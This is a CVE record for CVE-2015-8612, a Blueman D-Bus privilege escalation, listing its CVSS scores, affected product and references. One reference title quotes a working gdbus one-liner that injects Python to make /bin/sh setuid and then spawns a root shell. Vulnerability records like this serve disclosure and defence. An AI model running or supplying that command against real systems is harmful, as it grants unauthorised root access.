CVE-2015-8612
Summary
| CVE | CVE-2015-8612 |
|---|---|
| State | PUBLISHED |
| Assigner | debian |
| Source Priority | CVE Program / NVD first with legacy fallback |
| Published | 2016-01-08 19:59:16 UTC |
| Updated | 2026-05-06 22:30:45 UTC |
| Description | The EnableNetwork method in the Network class in plugins/mechanism/Network.py in Blueman before 2.0.3 allows local users to gain privileges via the dhcp_handler argument. |
Risk And Classification
Primary CVSS: v3.0 8.4 HIGH from [email protected]
CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Problem Types: CWE-264 | n/a
| Version | Source | Type | Score | Severity | Vector |
|---|---|---|---|---|---|
| 3.0 | [email protected] | Primary | 8.4 | HIGH | CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 2.0 | [email protected] | Primary | 7.2 | AV:L/AC:L/Au:N/C:C/I:C/A:C |
CVSS v3.0 Breakdown
Attack Vector
LocalAttack Complexity
LowPrivileges Required
NoneUser Interaction
NoneScope
UnchangedConfidentiality
HighIntegrity
HighAvailability
HighCVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v2.0 Breakdown
Access Vector
LocalAccess Complexity
LowAuthentication
NoneConfidentiality
CompleteIntegrity
CompleteAvailability
CompleteAV:L/AC:L/Au:N/C:C/I:C/A:C
NVD Known Affected Configurations (CPE 2.3)
| Type | Vendor | Product | Version | Update | Edition | Language |
|---|---|---|---|---|---|---|
| Application | Blueman Project | Blueman | All | All | All | All |
Vendor Declared Affected Products
References
| Reference | Source | Link | Tags |
|---|---|---|---|
| oss-security - CVE request: Blueman: Privilege escalation in blueman dbus API | af854a3a-2127-422b-91ae-364da2661108 | www.openwall.com | |
| Release 2.0.3 · blueman-project/blueman · GitHub | af854a3a-2127-422b-91ae-364da2661108 | github.com | |
| Blueman CVE-2015-8612 Remote Privilege Escalation Vulnerability | af854a3a-2127-422b-91ae-364da2661108 | www.securityfocus.com | |
| the grugq on Twitter: "7350greenman [~]> D=org.blueman.Mechanism;gdbus call -y -d $D -o / -m ${D}.EnableNetwork ‘[]’ ‘[]’ “os.chmod(‘/bin/sh’,0x9ed)”;sh -p||sh" | af854a3a-2127-422b-91ae-364da2661108 | twitter.com | |
| Privilege escalation in blueman dbus API · Issue #416 · blueman-project/blueman · GitHub | af854a3a-2127-422b-91ae-364da2661108 | github.com | |
| oss-security - Re: CVE request: Blueman: Privilege escalation in blueman dbus API | af854a3a-2127-422b-91ae-364da2661108 | www.openwall.com | |
| Debian -- Security Information -- DSA-3427-1 blueman | af854a3a-2127-422b-91ae-364da2661108 | www.debian.org | |
| Slackware Security Advisory - blueman Updates ≈ Packet Storm | af854a3a-2127-422b-91ae-364da2661108 | packetstormsecurity.com | |
| The Slackware Linux Project: Slackware Security Advisories | af854a3a-2127-422b-91ae-364da2661108 | www.slackware.com | |
| blueman - set_dhcp_handler D-Bus Privilege Escalation (Metasploit) - Linux local Exploit | af854a3a-2127-422b-91ae-364da2661108 | www.exploit-db.com | |
| CVE Program record | CVE.ORG | www.cve.org | canonical |
| NVD vulnerability detail | NVD | nvd.nist.gov | canonical, analysis |
No vendor comments have been submitted for this CVE.
There are currently no legacy QID mappings associated with this CVE.